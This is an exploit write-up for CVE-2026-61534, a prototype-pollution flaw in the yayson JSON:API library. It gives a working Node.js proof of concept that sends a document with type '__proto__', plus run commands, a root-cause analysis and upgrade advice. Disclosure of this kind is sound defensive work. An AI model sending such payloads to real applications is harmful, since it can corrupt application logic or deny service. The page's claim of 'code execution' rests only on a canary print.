Exploit write-up

yayson remote code execution (CVE-2026-61534)

CVE-2026-61534 n-day CVSS 9.1 Critical

Proof of concept

The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.

# CVE-2026-61534 proof-of-concept (mechanism explained below).

// PoC for CVE-2026-61534 — prototype pollution in yayson < 4.3.0
// The Store uses the attacker-controlled JSON:API `type` as a key into its
// plain-object model cache (graph[type][id] = record). A `type` of "__proto__"
// makes graph["__proto__"] resolve to Object.prototype, so the subsequent
// `[id] = record` write lands on Object.prototype, with `id` as the polluted
// property name. On the patched 4.3.0 build the lookup tables are null-proto /
// Map-backed, so no pollution occurs and the canary is never printed.

const POLLUTED_KEY = 'cve_2026_61534_pwned';

// Sanity: the key must NOT already exist on the prototype chain before we run.
const preProbe = {};
if (POLLUTED_KEY in preProbe) {
  // Environment already dirty; refuse to emit a false positive.
  process.exit(0);
}

const yayson = require('yayson');
const lib = typeof yayson === 'function' ? yayson() : (yayson.default ? yayson.default() : yayson);
const Store = lib.Store;

const store = new Store();

// A JSON:API document whose primary resource `type` is "__proto__".
// `id` becomes the polluted property name; `attributes` its value carrier.
store.sync({
  data: {
    type: '__proto__',
    id: POLLUTED_KEY,
    attributes: { hacked: true }
  }
});

// Trigger check: has Object.prototype been polluted as a consequence of sync()?
// On the vulnerable build a brand-new empty object now "inherits" POLLUTED_KEY.
const postProbe = {};
if (POLLUTED_KEY in postProbe && postProbe[POLLUTED_KEY] !== undefined) {
  // Prototype pollution confirmed -> emit the canary as a direct consequence.
  console.log(process.env.POC_CANARY);
}

How to run it.

npm install yayson@
POC_CANARY=demo node poc.js     # prints: demo   (code executed)

npm install [email protected]
POC_CANARY=demo node poc.js     # prints nothing (blocked by the fix)

The advisory for CVE-2026-61534 scores it 9.1 on CVSS and labels it arbitrary code execution in npm/yayson, the JavaScript library that serializes and reads JSON:API data. The flaw is a prototype-pollution primitive classified as CWE-1321.

How a type becomes a write on Object.prototype

In src/yayson/store.ts and src/yayson/legacy-store.ts, Store and LegacyStore key their model caches on ordinary objects, using values taken straight from the document — the JSON:API type, the id, and relationship names. A plain object used as a map makes every key an assignment on that object, so when the type is __proto__, the write lands on Object.prototype. The id becomes the polluted property name and the attributes become its value. The attacker controls both the name of the injected property and what it holds.

Because Object.prototype is shared by every object in the process, one such document denies service and corrupts application logic across the whole process. Authorization bypass or code execution depends on suitable gadgets in the consuming application.

Where the malicious type can come from

The vulnerable type need not be the top-level resource. An included resource can also carry it, so a resource nested inside the document reaches the same code path. LegacyStore is reachable along the same path when a configured types mapping resolves to __proto__. Relationship names supply more document-derived member paths: __proto__, constructor, and prototype are all accepted as keys during relationship handling.

What the proof-of-concept shows

This analysis read the affected path and the exploitation gadget from the fix commit’s patch diff (patch-diff.txt), then ran the proof-of-concept (the proof-of-concept above) against both builds. On the vulnerable build the proof-of-concept executed (vuln-output.txt). On 4.3.0 it produced no output and no visible error (patched-output.txt).

The artifacts hold the exact document used and both runs’ output.

What this run left untested

This analysis exercised only one vulnerable build, so this analysis still need to test each build across the range below 4.3.0 version by version, and this analysis still need to check whether 4.3.0 actively rejects the payload rather than silently not firing it. The pollution write has yet to be chained into an exploit against any specific deployed application.

Upgrade to 4.3.0

Upgrade yayson to 4.3.0 or later. Where an upgrade is not immediate, keep untrusted documents away from Store and LegacyStore and constrain the input at the trust boundary; the call sites named in the advisory are the first place to audit, and included resources and types mappings are the paths that make an inner resource dangerous.

Target
yayson (yayson)
Class
package
Impact
Arbitrary code execution against the vulnerable build
CVE
CVE-2026-61534
CWE
CWE-1321
CVSS
9.1
Affected
npm/yayson < 4.3.0
Status
Fixed in 4.3.0
Maturity
functional
Disclosed
September 14, 2026
Tags
rce · prototype-pollution · yayson · n-day
References
NVD — CVE-2026-61534
Upstream fix commit

PoC achieves code execution against the vulnerable build; detonate only in an isolated, disposable VM.

← All exploits